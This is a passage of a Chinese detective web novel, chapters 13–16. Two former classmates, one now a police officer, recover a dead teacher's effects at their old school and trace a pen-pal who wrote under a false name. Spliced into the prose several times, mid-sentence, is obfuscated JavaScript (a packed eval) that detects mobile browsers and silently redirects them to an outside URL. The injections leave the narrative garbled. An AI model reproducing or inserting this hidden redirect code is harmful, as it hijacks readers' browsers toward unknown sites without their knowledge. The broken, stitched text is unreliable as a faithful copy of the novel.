秦梓需汗颜,掏出手机点开微信:“那我先给你打三千块钱吧,预支一个月工资。” “你看看,才三千块!你让人家辅警怎么活嘛,当官的真小气!”章弥真吐槽愈发激烈,但却夺走了秦梓需的手机,不让她转账。 “嘘!”秦梓需连忙示意她小点声,这毕竟是在学校里呢,“我…我钱都存定期了,最近开销有点大,我手头上流动资金不多,你给我点时间……你先把手机还我。” “喂!秦梓需,你不是真的要给我打钱吧?我跟你开玩笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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遗憾的是,因为意外事故,于2002年去世。 她的履历其实特别简单,档案中最多的是教师获奖的事迹。 章弥真询问校长和教务主任是否了解十八年前的老教师的情况,两人都表示那时候他们还没来学校工作,实在解答不了。 章弥真叹息,看向秦梓需:“看来是白跑一趟,这档案实在太笼统了,根本查不出什么来。” “那你的意思是?” “既然工作地查不出什么,咱们就倒着往回查,去东海师范大学。”章弥真道。 秦梓需没有意见,不过她还是不死心地询问道: “现在学校还有没有工作二十年以上,熟悉2000年左右时期学校情况的老教师在?” “有是有的,您如果要见面,我可以带您去见他。”教务主任道。 “麻烦您安排一下,谢谢。” 校长还有事务处理,客气告辞,不再作陪。教务主任在前带路,章弥真跟在后面,转头和秦梓需咬耳朵: “你觉得会是谁?是不是教过我们的老师啊?” “这我哪里能猜得出来,其实我这么多年也是第一次回母校。”秦梓需无奈道。 她们被带到了教师办公室,很顺利地找到了要找的人。教务主任指着教师办公室角落里的一张桌子边坐着的一位秃顶中年男子道: “梁老师,是工龄二十年以上的老教师了,一直在学校教历史的。” 那位梁老师听到门口有人谈论他,有些愕然地抬头,扶了下厚厚的眼镜望了过来。 秦梓需心下一惊,还真是当年教过她们的老师,她们初二、初三学年的历史都是这位梁老师带的。印象中当年他满头黑发,是个意气风发,颇有文人气质的三十岁青年教师。可如今,她竟然有些认不出眼前这位谢顶白发的中年男子了。 秦梓需刚想转头问章弥真和梁老师熟不熟,却发现章弥真竟然已经非常社牛地径直走了进去,打招呼道: “梁老师,您还记得我吗?02届三班的章弥真。” 14.第十四章 老教师愣怔了半晌,慢慢展颜,笑着站起身来,欣喜地上下打量章弥真,道: “章弥真,我记得,我当然记得!哎呀……这么多年,真是要认不出来了。” “你看,我就说老师一定记得我,我印象中老师记忆力超群,教过的每一位学生都记得一清二楚。”章弥真突然笑着回头对秦梓需道。 “哈哈哈……”一句话让老教师心花怒发,大笑起来。 秦梓需汗颜,自愧弗如。 “老师,这是当年的年级第一,秦梓需啊。”章弥真趁热介绍秦梓需,秦梓需连忙上前一步,略显局促,仿佛一瞬回到了当年的学生时代。 “哎呀,还真是。你们两个尖子生怎么突然结伴回来了?”梁老师很好奇地问。 “这不是想搞个同学聚会嘛,也得把当年的老师们都请上呀。所以我俩作为代表,先回来看看,打前哨。” “那感情好,当年教你们语文的杜老师,教英语的赵老师,早几年已经退休了,物化生的老师也走的走,转的转,政史地,也就剩我还在了。”说到这里,梁老师明显露出了些许伤感神色。 这些年教师队伍的人员流动也挺剧烈,各个学校之间彼此挖人自不提,因为补习机构大赚而直接离开学校正式编制的老师也不在少数。教师工资一直不高,人心浮动,能在一个学校里安安心心教书一辈子的老师,确实已经很少见了。 秦梓需注意到他故意没提数学老师,老教师多半已经回忆起当年那件事了。 她看了一眼章弥真,章弥真果然敏锐地抓住了这个话头: “还有就是,陈老师的忌日也快满二十周年了,我现在在媒体做事,就有个想法,想搜集一些老照片和资料,给陈老师做一个纪录片,也不知道她在这世上还有没有亲人了,至少我们是她的学生,得记得她。等二十周年时,就去她墓前祭奠。” 天才!太丝滑了。秦梓需开始佩服章弥真的敏捷才思了。 果不其然,闻言梁老师果然动容,道:“好孩子,你们也是有心了。” “那您这里有当年陈老师的照片吗?或者您记得什么事都可以和我们说说。”章弥真问。 “哦,我这里还真有一张照片。你等下,我找找。”说着就走去了一旁的文件柜,翻找起来。 教务主任起初还以为只是警察来办案,却没想到警察居然也是往届生,恰好来看老师了。他觉得自己杵在这里有些多余,于是和秦梓需耳语两句,告辞离去。 秦梓需吁了口气,心想这一边保密,一边查案,还真有点难度。若是让校方知道她们要查的事,估计得掀起轩然大波了。 还是章弥真想得借口好,这样既可以查案,又不会引人怀疑。 梁老师好一通翻找,口里嘀嘀咕咕:“咦,我记得放在这儿了啊。” 一旁有好心的老师给章弥真、秦梓需搬了凳子,请她们坐下,还给她们倒了水。章弥真小声凑到秦梓需耳边道: “老梁就是典型文人,重感情气节,小事不拘,大事不糊涂。所以等着吧,且得找呢。” 秦梓需真是哭笑不得,心说有你这么编排老师的吗? 等了有五分钟,梁老师终于从抽屉的最深处掏出了一本相册,欣喜道: “终于找到了!” 他托着相册走回来,递给秦梓需、章弥真看:“这张照片,千禧年教师节,学校组织老师们去庐山玩儿。我们在庐山山顶上合照了一张,中间这个就是陈老师。” “咦,这张陈老师笑得好开心。”章弥真夸道。 “出去玩儿当然开心嘛。她平时特别忙,很少能有机会出去旅游的。”梁老师笑道。 “您和陈老师关系特别好呀。” “谈不上关系特别好,就是我俩老乡,到底亲近点,聊得比较多。”梁老师道。 “您也是蚌埠人?” “是,而且我和她还是校友呢,我俩都是怀远一中的。但她比我大了7届。”梁老师道。 秦梓需第一次知道还有这层渊源,她忍不住出声问: “那您知不知道陈老师当年还和谁走得比较近?” “和谁走得近?嘶……”梁老师望向斜上方,陷入回忆,“印象中,老师里边她和谁都挺客气的,也没有走得特别近的人。” “那学生呢?”秦梓需问。 “学生那就更不可能走得近了,你们也知道她性格比较严肃,教学严谨,并不是个容易和学生打成一片的老师,学生一般都不大敢和她说话。等等,秦梓需你不就是和陈老师关系最好的学生吗?”梁老师扶了扶眼镜,笑道。 秦梓需一时语塞,章弥真笑着插话进来:“咱们就是想多找几个人,问问陈老师的事。秦梓需这里掌握的资料也不多。” 梁老师叹息:“唉……她当年走得太突然了,其实大家都没任何心理准备,她留在学校的遗物,也无人处理,后来只是保留了一些书籍、文稿、信件等纸质内容,害怕未来会有远房亲戚找过来,也算是有个交代。其他什么热水壶、茶杯之类的个人物品,都处理掉了。 “不过这么多年了,也没有远方亲戚找过来。听说好像是老家人都没了。” “那些纸质遗物您知道存在哪里吗?”秦梓需连忙追问。 “我记得在仓库里……”时间太久了,梁老师也显得不大确定。 “您能帮忙找一下吗?”秦梓需人都站起来了。 “当然,我看看钥匙在哪儿。”他又着急忙慌地去找钥匙。 趁着这个空档,章弥真再次悄声问秦梓需:“你怎么都没来学校查过这些?是没想到吗?” 秦梓需回道:“公安查案,会优先选择最容易突破的口子集中力量攻破。我们早就拿到了陈老师的履历,如你所见,清清楚楚,简简单单,所以当时我们认为这条线很难突破。 “为了以防万一,我师傅其实曾经委托过当地派出所到学校来查过陈老师的事,当时得到的反馈是学校里早就没有熟悉陈老师的人,陈老师没有亲属了,也没人知道她和谁有仇,所以我们只能作罢。当时想的是从铁道抛颅案突破,但这不是这么多年一点进展都没有嘛。实在没办法了,只能再换条路走。” “所以,委托别人查是不行的。得咱们亲自来,换了别人,梁老师不一定肯说呢。”章弥真道,“这都是人情世故。” 被章弥真一个外行人教训了,秦梓需倒也不恼怒,她说得对,这都是人情世故。 审讯本来就是一门技术活,话语间你来我往,稍有差池,都破不开对方的防线,问不出想要的讯息。当年受委托的派出所警官到底有没有尽心尽责来询问且另当别论,他们至少不能像对待犯人一样一个一个去审讯全校师生,他们会遇到各种各样的情况,诸如教师缺位恰好不在、教师上课没空接待,甚至言语不和、不理不睬,所以必然什么也问不出来。 “找到了,你们跟我来吧。”这回梁老师倒是很快找到了钥匙,他领着秦梓需、章弥真出了办公室,沿着廊道去了走廊尽头一间安装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15022987|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有防盗门的房间,开启门锁,他带着二人进入。 啪的一声,白炽灯点亮,灰尘扑鼻而来,这不大的房间里塞满了铁皮柜子,每一个柜子上都标有学科名和年级编号。 “这里面存的都是一些教案文件和书籍杂物。抱歉,灰有些大,要不你们在门口等一下,我去找找看。”梁老师道。 “我们来帮您,您看该从哪儿找?”章弥真道。 三人挤进仓库,梁老师打开了标有数学字样的柜子,从上到下存了大量乱七八糟的文件。梁老师道: “这柜子是从下往上存,越是下头的东西年代越久远,咱们从底下开始找。” 三人开始埋头苦找,都不言语了。时间一分一秒地流失,从最底下一层翻到倒数第四层时,她们其实已经有点没底了。 该不会找不到了吧? 但随即梁老师就惊喜道:“找到了,就是这个文件盒!当年还是我帮忙收拾的遗物,我果然没记错!” 他取出了一个陈旧的文件盒,是绿色的,表面满是岁月磨损的痕迹。 章弥真笑道:“您可真像是史官,对过去的事记得门清呐!” “哈哈哈,你们看看,有没有你们想要的?”梁老师将盒子递给章弥真。 三人凑在一张旧课桌前,打开了文件盒。内里全是泛黄发霉的文件。有教案、有数学书、有笔记本,还有一只派克钢笔,一副备用的眼镜。 秦梓需看着这些物品,眼眶发热。总感觉,这盒子像个时间胶囊,将陈老师生命的一部分封存在这里,打开它,就打开了陈老师某一段已然灰白的过往人生。她好像又活过来了。 “咦?陈老师还看艾米丽·迪金森的诗集啊?”章弥真有些惊讶。 她从盒子里最底下拿出了一本陈旧、页边翻卷的诗集,发霉的气息十分冲鼻。 “艾米丽·狄金森?”秦梓需不知道是谁,身为一个偏理科思维的、专精侦查与犯罪心理的公安警察,她对于外国文学作品的知识储备比较匮乏。 “你肯定听过她的诗,只是对应不上她这人。Had I not seen the sun,I could have borne the shade.But Light a newer Wilderness,My Wilderness has made.”章弥真用十分好听的美式口音念出了一句诗,随后翻译道,“我本可以容忍黑暗/如果我不曾见过太阳/然而阳光已使我的荒凉/成为更新的荒凉。” 一旁的梁老师露出了惊叹的表情,为自己的学生出口成章,有丰富的文学素养而感到十分自豪。此时他也突然意识到,他竟然还没问过两个学生考上了什么大学,现在在哪儿高就。 “原来如此。”秦梓需点头,这诗太有名了,她确实听过。 章弥真看了一下书脊,在其上发现了一个图书馆的蓝印,惊道:“呀,这诗集是从市图书馆借的呢,看来一直都没还回去啊。” “是吗?我当年还真没注意,我以为都是她的私人物品。”梁老师也吃了一惊。 “咦?这里面好像还夹着什么。”章弥真翻开到那一页,一封老式牛皮纸信封出现在三人眼前。秦梓需、章弥真的瞳孔登时放大了,秦梓需第一时间戴上手套,将信拿了起来,只见信封上写着: 东海省胥城市江东区南园路29号胥城中学 陈君梅 (收) 云南省昭通市巧家县药山镇青竹坳中学 赵蕾 (寄) 15.第十五章 “赵蕾?你知道这人吗?”章弥真连忙问秦梓需。 秦梓需摇头,她检查信封,发现信早就从边缘拆开了,信纸还塞在里面,她将信抽出展开,发现里面竟然还夹着一朵紫色的花。 “这是什么花?”章弥真问。 “像是紫云英。”秦梓需对植物学了解有限,她将干花放在一旁,开始读信。信纸是再寻常不过的条格信纸,只有一页,其上写着一篇俊秀漂亮的蓝墨水钢笔字书信。 【君梅: 见字如晤。 数月前,春日里,山风穿堂过,我在瓦数不够明亮的灯下批改学生作文,忽见邮差送来包裹,颇为惊喜。拆开油纸,竟是艾米丽·狄金森的诗集,书页边角已泛黄,想是你最近爱读的,也得让我瞧瞧。邮差老周跋涉三十里山路送来时,袖口应还沾着野槐花的香气,倒与扉页上那句“我居住在可能里——”莫名相契。 春深后,教室窗外的野蔷薇开得泼辣,确让我想起狄金森笔下那些“细小的起义”。教娃娃们写《山里的春天》,英子攥着笔尾戳下巴,嘀咕:“野芍药红得像要烧起来,可风一吹又低头,怪像诗里说的‘羞怯的狂欢’。”你瞧,连十六岁的孩子都懂她诗句里那团暗火——分明是寂静的,却把人心燎得发烫。 你总说数学是月光,清冷冷照着人间沟壑。可这些日子读狄金森,倒觉她的诗行如你解的方程式般简洁,每个词都像数轴上的点,差之毫厘便谬以千里。好比“希望”是长着羽毛的东西,偏不肯落在金丝笼里,真与咱班小芳养的那只山雀像得很,宁肯啄破指尖也要撞向窗棂。 入夏了,夜里改完作业,常倚着斑竹椅望星子。城里电灯太亮,怕是瞧不见这般碎银似的星辰。狄金森说“脑内穹苍更宽广”,我觉得她定见过真正的山野夜色——当蛙鸣虫唱都歇了,天地间只剩下墨汁般的寂静在纸上游走,可不就是诗的模样? 有数月未与你通信,随信捎去一包晒干的野菊,开水烫过再沏,能喝出阳光晒透山梁的滋味。不知你近来可忙,盼你得闲时放下生活中的琐碎,为我写写城里的月光,那些被几何图形切割的光晕,可还认得山沟里乱窜的萤火虫? 此致 晚霞里的野百合 友:蕾 二零零二年五月廿四日于青竹坳中学】 这封信看得秦梓需一直在愣神,半晌不曾言语。 章弥真比她更快看完,惊叹于这位写信人的文笔之外,她注意到这封信夹着的位置是狄金森的一首名叫《请告知所有真相,但请曲折地说出》的诗: Tell all the truth but tell it slant — Success in Circuit lies Too bright for our infirm Delight The Truth''s superb surprise As Lightning to the Children eased With explanation kind The Truth must dazzle gradually Or every man be blind 请告知所有真相,但请曲折地说出—— 成功在于迂回之中。 真相太耀眼,不适合我们脆弱的欢愉, 真相的惊人之处,如同闪电。 如同给孩子们解释闪电,以一种温和的方式, 真相必须逐渐闪耀,否则会让人目盲。 这首诗所在的位置被陈老师用铅笔在右上角打了个五角星记号,信也夹在这个位置,章弥真感觉这首诗所要表达的含义,似乎并不简单,很可能反映着当时陈老师的心境。 她心底埋藏着某个秘密,她想将真相说出来,却又不知该如何开口。这首诗成了她日日诵读,反复思量的藏心秘处。 赵蕾是谁?会不会就是当年去找陈老师的那个女人?会不会那个悲惨被害,头颅被抛到铁道旁的女人,就是赵蕾? 章弥真暗暗拍了秦梓需的手臂一下,悄声凑到她耳畔问: “是她吗?” 秦梓需知道她在问铁道抛颅案的受害者会不会就是这封信的书写者赵蕾,她摇头:“不能肯定。但这封信、包括整本书都非常有证物价值,得带回去研究一下。” 章弥真点头。 一旁的梁老师已经有些疑惑了,在他眼里,两个学生在见到这封信后,气氛突然大变,私下里交头接耳说些避开他的悄悄话,而且秦梓需居然还戴起手套去拿信,这是在干什么? 好在章弥真十分敏锐的察觉到了梁老师的疑问,她再次运起三寸不烂之舌,打着哈哈,就将梁老师忽悠了过去,还顺带提出了带走遗物的要求。最后梁老师被她迷迷糊糊一顿胡侃,竟然真就没有什么意见了。 两人帮着梁老师收拾好翻出来的东西,将陈老师所有的遗物都直接打包带走。章弥真留了梁老师的联系方式,离去时还承诺等聚会时会通知梁老师。 开车出校门时,秦梓需一直显得沉默,周身散发着一股阴郁隐怒的气息。章弥真望着她,心中暗暗唏嘘。 这样重要的证物,就这样在学校里躺了十八年无人注意。多少警察与它擦肩而过,包括秦梓需自己。白白蹉跎了好些年,才终于兜兜转转找到了这封信。 不得不说,这里面真有些命运戏弄之感了。 “老秦,你没事吧?要喝水吗?”遇上红灯停车等待,章弥真从自己包里取出了一瓶还没开封的矿泉水,拧开后递给她。 “没事,谢谢。”秦梓需接过,猛灌了几口。 “至少咱们找着这封信了,对吧。”章弥真笑着安慰她。 “唉……你知道,我觉得自己作为警察,作为陈老师的学生,都挺不合格的。”秦梓需胸口剧烈鼓动着,似是有万千复杂心绪堵在那里,触达了语言的极限,难以一口气表达出来。她还没好全的胸口挤压伤,这会儿又开始隐隐作痛了。 章弥真没说话,秦梓需将水放到手边的茶杯位上,迎着绿灯踩下油门,终于吐出一口气道: “我应该早点回来的,但我一直在等,我不知道自己在搞些什么。” “也许你只是被千头万绪、纷繁复杂的线索搞迷糊了,你不知道该走哪条路,这很正常,别求全责备。”章弥真道。 “不!”秦梓需好不容易压下去的情绪再次被激发,她找了个空档靠边停车,引发后方一片喇叭声。 她双手狠狠攥着方向盘道:“我很清楚,我其实很清楚我早该回来从头查!我清楚我还远远没有尽全力去查陈老师。但……无数的人劝我,查案不是你的分内事,你是搞教学的,你有自己的工作,自己的前途,你何必为了一个根本不能被定性为刑事案件的事故耽误自己?何必为了早就是过眼云烟的那一家五口而浪费时间?人死不能复生,活人得好好活下去,过好自己的人生。 “所以我…我有很长一段时间,真的试图去忘记这一切,我只是做着一些筛选全国失踪人口信息的表面功夫,压根没想着要回来,真正一头扎进去查。 “我知道自己作为警察,根本没将查明真相做到极致。” 秦梓需揉着自己的胸口,脸上因愤怒染的红逐渐变得有些苍白,她没哭,但她显得非常沮丧和失望,是对她自己感到失望。 章弥真抬手拍了拍她的后背,叹息。饶是她口齿伶俐,一时间也不知道该用什么话来安慰秦梓需。 人都是趋利避害的,私欲即可成为奋发图强的动力,也会成为追求理想道路上最大的绊脚石。反观自己,其实还不如秦梓需,她至少还是回来了,还是一头扎进去查了。 “情绪发泄出来就好,你也憋了很久了吧。”她道,“人都有局限性,我们要追求的是超越自己。今天就当和过去切割了,亡羊补牢,犹未晚矣。” “抱歉……我,我不该在工作里带这么多情绪。”秦梓需这会儿冷静下来了,显得有些不好意思。 “都是老同学,你跟我面前装什么冷静专业啊。”章弥真嗤笑道,“行了,你不是说听我指挥吗?那咱们先回市局,看看小刘和李法医那里有什么新发现。你下车,我来开车。” 二人交换座位。秦梓需看了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15032064|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼时间,在仓库里找东西消耗了太多时间,这会儿已经快下午五点了。但对于法医和痕迹检测来说,一个下午的时间,恐怕还不足以让她们出结果。 章弥真驾车往回开,秦梓需打开蓝信,联系李之枚和刘雪莹,二人半晌均无回应,秦梓需知道她们现在恐怕都埋头在实验室里,没空理会蓝信消息。 秦梓需靠在副驾里,闭上眼,摒弃杂念,开始思考起这一新发现所带来的可能信。赵蕾……秦梓需搜遍自己的记忆,也不曾想起这样一个人名,她印象里,陈老师认识的人中,似乎也没有这么一个人。 这人是谁?是男是女?看名字和笔迹,是女性的可能性比较大。她似乎是个山村教师,远在2000多公里外的云南,她是怎么会和陈老师发生关联,互通书信的? 这封信写于2002年,翻一翻通讯发展历史,虽然02年企鹅通讯已经出现,但有电脑的人群仍然有限,陈老师当时肯定不是电脑普及用户,日常教学里她很少用电脑,而家中经济比较拮据,地方狭窄,也摆不下电脑。唯一不能排除的就是她去过网吧,但看她每日两点一线的忙碌生活,也很难挤出时间去网吧。 那会儿学校里的老师都流行在外兼职一份补习班的工作,陈老师却不行,因为那个家根本离不开她。 不过那会儿电话早已经普及,手机方兴未艾,绝大多数人还是使用BP机+固定电话的方式互相联系。那会儿写信的人就已经比较少了,看赵蕾那封信的行文内容,可以推测二人似乎是笔友关系。 这是一种古老且浪漫的关系,存在的时间跨度起码与纸张普及的历史等长。在过去,报刊杂志上甚至会有专门的栏目板块为笔友牵线搭桥。 陈老师有一个不为人知的笔友,确实是她的盲点。身为伴随高度发达的通讯媒体成长的年轻一代人,她受到自己的视野局限,对于未曾体会过的过去的生活经验缺乏想象的能力。 怪不得她怎么查,都查不到陈老师的人际关系中存在那样一个女性。也许陈老师家中的大火,烧毁了相当一部分她与笔友之间的书信,这封保存在学校里的信,简直是珍贵的“漏网之鱼”。 等等……不对,收信地址是胥中,而不是陈老师家的地址。一般通讯地址不会随意更改,也就是说,很可能笔友一直都是将信寄到胥中,陈老师的遗物里没有更多的信,她是把以前来往的书信都带回家了吗?这么做是不是有点多此一举?毕竟在秦梓需看来,陈老师在家中的忙碌程度,完全不亚于她在学校工作的时间。 她要负责看管孩子,辅导功课,要负责给家里店铺帮忙,还要负责照顾公婆、瘫痪的丈夫,身为一个传统女性,那个家庭有七八成的重担都落在她的肩上。 她几乎是回到家就开始忙,从下班到家后的五六点一口气忙到晚上九点,就得睡觉。家里人都是挤在上下铺里睡觉,根本没有房间,彼此之间只以帘布隔开,有什么动静,互相都听得见。 她很难有一个清静的环境去阅读、写信,相比之下,反倒是她在学校里有空闲时间,在办公室或图书馆,她能够清净一会儿,做点自己的事。 既然如此,她没有必要把所有的信都带回家中,保存在学校里就行了。那个家已经足够的拥挤了,潮湿、油腻的环境也并不适合保存信件,秦梓需甚至很少在她们家里看到书籍。 可学校的遗物里只有那一封信,这意味着什么? “嗳,老秦,据你所了解,陈老师是个很慷慨的人吗?”开着车的章弥真突然问道。 “慷慨……难说,陈老师家经济状况不好,她很难谈得上慷慨,我印象里她一直很节省。”秦梓需蹙眉思索。 “可是她专门买了一本艾米丽·狄金森诗集千里迢迢寄给那个赵蕾诶,而她自己都没有那本书,只是从图书馆借来看。”章弥真道。 “也许,寄书并非只是寄给赵蕾,她很可能是寄给乡村学校的,算是一种捐献行为。”秦梓需推测。 “哦,是哦,对于老师来说,有这种情怀倒也正常。”章弥真点头。 “回去后,先核查一下赵蕾的情况,这是当务之急。”秦梓需坐直了身子,眸中的光芒再次变得犀利。 16.第十六章 二人赶回市局时,已经到了五点一刻。车刚在停车场内停稳,秦梓需就收到了谷道全发给她的铁道线路图。她匆匆瞄了一眼,相当高清详尽,其上甚至标注出了当年侦查过的线路段和附近村庄,与相应列车也都有对应。 秦梓需知道自己今晚有活儿可干了,她要做一件至今尚未做的繁琐工作——将名单中的座位号释放入线路图,标注出这些座位号上乘和下车的站点,拉出一个散射图,来观察这些乘客的分布情况。 章弥真那里也来消息了,她正低头蹙眉查看微信。 “有事儿?”秦梓需问她。 “嗯,工作室里有些工作得等我处理。”章弥真道。 “那你去忙,我们明天再碰头。”秦梓需照顾她身兼两地工作。 没想到章弥真不领情:“不用,媒体人在哪儿都能干活,我带上我心爱的小电脑就行了。” 说着她拍了拍自己的运动包,那里面放着她的笔记本电脑。 “这……谢谢了。” “别老谢我了,赶紧的,还有好多事儿要干呢。”章弥真说着已经下车去了。 二人返回刑技中心,一打听,李之枚去国家级无名尸库还没回来,刘雪莹进了实验室还没出来。 看来她们要出结果,得等一段时间了。 回到办公室,章弥真先问秦梓需有哪些需要她帮忙的地方。秦梓需说她现在要查赵蕾的身份,这个活儿她自己一个人干就行。 于是章弥真就先开电脑,开始做她自己的工作。 秦梓需首先在公安系统里检索赵蕾,并将条件限定于云南省昭通市巧家县药山镇,检索结果有32条。算一算,赵蕾的年纪起码40岁往上。去掉明显不符合年纪的人,还剩下17条。 这些人中没有一个有失踪报案记录,秦梓需一一查看她们的学历,17个人中,8人初中辍学,5人完成高中学业,剩下4人是文盲。 秦梓需眉头蹙起……这样的学历,不大可能会成为中学教师。 秦梓需将那5个高中生挑出来,再详细查她们的户籍变动情况、旅行情况,这不查不要紧,一查发现没有一个符合她要找的那个赵蕾的要求。2002年前后,这些人都已经背井离乡,并不在故乡长居。 秦梓需意识到一个问题,这个赵蕾很可能并非当地人,她很可能是外地支教老师,户籍不在当地。这下麻烦了,全国上下不知多少叫赵蕾的人,她必须缩小范围。 她想了想,干脆直接查青竹坳中学的电话,并拨了过去。 “喂?您好,请问是青竹坳中学是吧。 ”……您好,我是东海省胥城市公安局的民警,我姓秦。我有些事想要核实一下,诶……您别紧张,就是问问情况。你们这里有没有一位名叫赵蕾的老师?……对,花蕾的蕾。 “嗯?没有吗?赵蕾,您再仔细查查。她应该是老教师了,2000年初就在你们学校教书的,她应该是支教老师。” 接下来是漫长的等待,因为校方去查支教名录了。秦梓需沉默地举着电话听筒,焦虑等待,身侧后方,章弥真正默默关注她这里的情况。 好一会儿,秦梓需终于等到了对方的回应,她看上去有些失魂落魄,默了几秒,不甘心道: “真的没有吗?那你们学校是否有报过教师失踪的情况?……哦,也没有是吧。好,感谢配合,谢谢,再见。” 秦梓需挂了电话,章弥真问道: “没查到?” “他们说学校从来就没有名叫赵蕾的老师,而且也从来没有教师失踪过。” “这……”章弥真后仰倒在椅背上,双手抬起,交叠摁在头顶,满脸的迷茫,眼见着刚查出来的新线索突然断掉,她立时觉得棘手起来。 秦梓需倒是习惯了这种受挫的状态,她很冷静地分析道: “无非两种情况,要么是赵蕾不是学校的老师,要么是学校有这么个老师但不叫赵蕾。我认为应该是后者,因为陈老师显然与她有稳定的书信往来。不然寄信寄包裹老是找不到人,邮局会起疑。” “你的意思是说,青竹坳中学确实有一个老师和陈老师是笔友,但她不叫赵蕾?” “对。” “等会儿,我从来没写过信,寄信是可以匿名的吗?”章弥真问。 “寄平信可以匿名。”秦梓需给出肯定回答。 “可是,陈老师给她的信件包裹,也用赵蕾的姓名,她岂不是收不到了?” 此言一出,章弥真突然意识到不对,她几乎和秦梓需异口同声道:“她知道她真名!” “对,陈老师应该是知道赵蕾的真名的,给她寄信时,写的都是真名。”秦梓需补充解释道。 “可是……这是为什么?”章弥真不理解,“有什么化名的必要吗?” “这化名是单向的,只有赵蕾化名,陈老师却没有化名。这意味着,陈老师可能不希望让人知晓和她通信之人的真实姓名。”秦梓需推测道。 章弥真抿了抿唇,道:“抱歉,单纯是假设,咱理性讨论哈。以我新闻记者的嗅觉,我真的不能不八卦一下,这种偷摸的状况,是不是有婚外情啊? “你是说赵蕾是男的?”秦梓需挑眉。 “是女的也不是不行。”章弥真道。 秦梓需耸肩道:“这个就没法推测了,但现阶段,我们至少可以确认陈老师是想隐瞒她有一个笔友这件事的。” 她将自己此前对于陈老师保存信的猜测和章弥真说了,章弥真抱着膀子分析道: “所以到底是陈老师家不利于保存书信纸张,还是陈老师不愿意让家里人看到她和别人有书信来往?很可能是两种情况同时存在,陈老师不知道把赵蕾的来信都存放在哪里了,如果当真从未带回家,那也不在学校,意味着很可能已经丢弃毁掉了,这封夹在书里的信,是唯一保存下来的。” 二人莫名沉默了一阵,章弥真有些踌躇着开口: “我问个有点冒犯的问题,你觉得陈老师和她丈夫马军之间的关系怎么样?” “一直挺和睦的,至少我从未见过他们吵架。但他们是不是背着我有吵过架,我也不知道。媛媛似乎也从没和我提过她父母之间有矛盾这样的话,她一直都特别的单纯快乐,像是没有烦恼似的。”秦梓需回忆道。 章弥真道:“就我对人性的了解,我认为这不大符合常理。马军半身瘫痪,常年需要妻子照顾,他身为一个成年男子,心理上不可能觉得心安理得。他是军人出身,必定曾经以男子气概自居,以传统价值对男性的要求为己任,要挑起家中大梁,要给老婆孩子好的生活。 “但突然遭遇意外,他这个挑大梁的突然折了,只能让老婆孩子跟老父母挤在一起过日子,住不了大房子,还得起早贪黑、没日没夜地干活维持家计。他内心必定是深切感到折辱、不甘、颓丧的。身在这种心理下的男人,多半也会变得敏感,害怕与其他正常男人攀比,更害怕妻子出轨,妻子对他越好,他越是内疚不安。 “在这种情况下,人的心理会发生两种情况的嬗变,要么指向外部,出于对妻子的愧疚心理,想办法补偿妻子,陷入一种奉献状态中,以期从他人那里得到正向反馈,来重塑自身信心。要么是指向自身,为了让自己好过,反倒会去发脾气伤害身边人。每次发脾气后又后悔,然后为了让自己好过,再次去伤害他人,陷入恶性循环。” 秦梓需笑了:“可以,章大记者对心理学是有研究的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038669|161689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 章弥真眯眼瞪着她,道:“我说秦老师,我记得你是研究犯罪心理学的,你难道没意识到这里面的问题吗?怎么还轮得到我班门弄斧的?” 秦梓需垂首片刻,抬眸注视章弥真,道: “我和你讲个故事吧。我刚拜师的时候,学了点本事,觉得自己了不得了,能洞察人心了。我师傅有一年春节前夕带着我走大栅栏逛街,他指着糕点铺前一对吵架的夫妻,让我用心理学分析他们到底在想什么。 “那对夫妻是为了到底要不要买豌豆黄当礼物送老人家而吵架,丈夫坚持要买,说老人家一直就爱吃这个,送礼正好。妻子不愿意,说吃甜的对老人身体不好,不如换点别的。 “我说这还不简单,丈夫属于享乐派,觉得人生在世该享福就得享福,妻子则是克制派,典型的为你好心态。两人都是将自己的想法强加给老人,其实并未重视过老人的想法。 “我师傅说不是的,丈夫是自己爱吃豌豆黄,买给老人只是借口,时常打着看老人的幌子跑到老人家里把自己买的豌豆黄都吃了。妻子对此门清,但也拿老人做借口,强迫丈夫不买。因为丈夫已经很胖了,不能再吃甜食了。但他二人都没有点破此事。 “我不服气啊,我就问师傅您怎么知道的呢?师傅说我当然知道,因为那夫妻俩就是他的女儿女婿。” “啊?!”章弥真被这个结局惊到了。 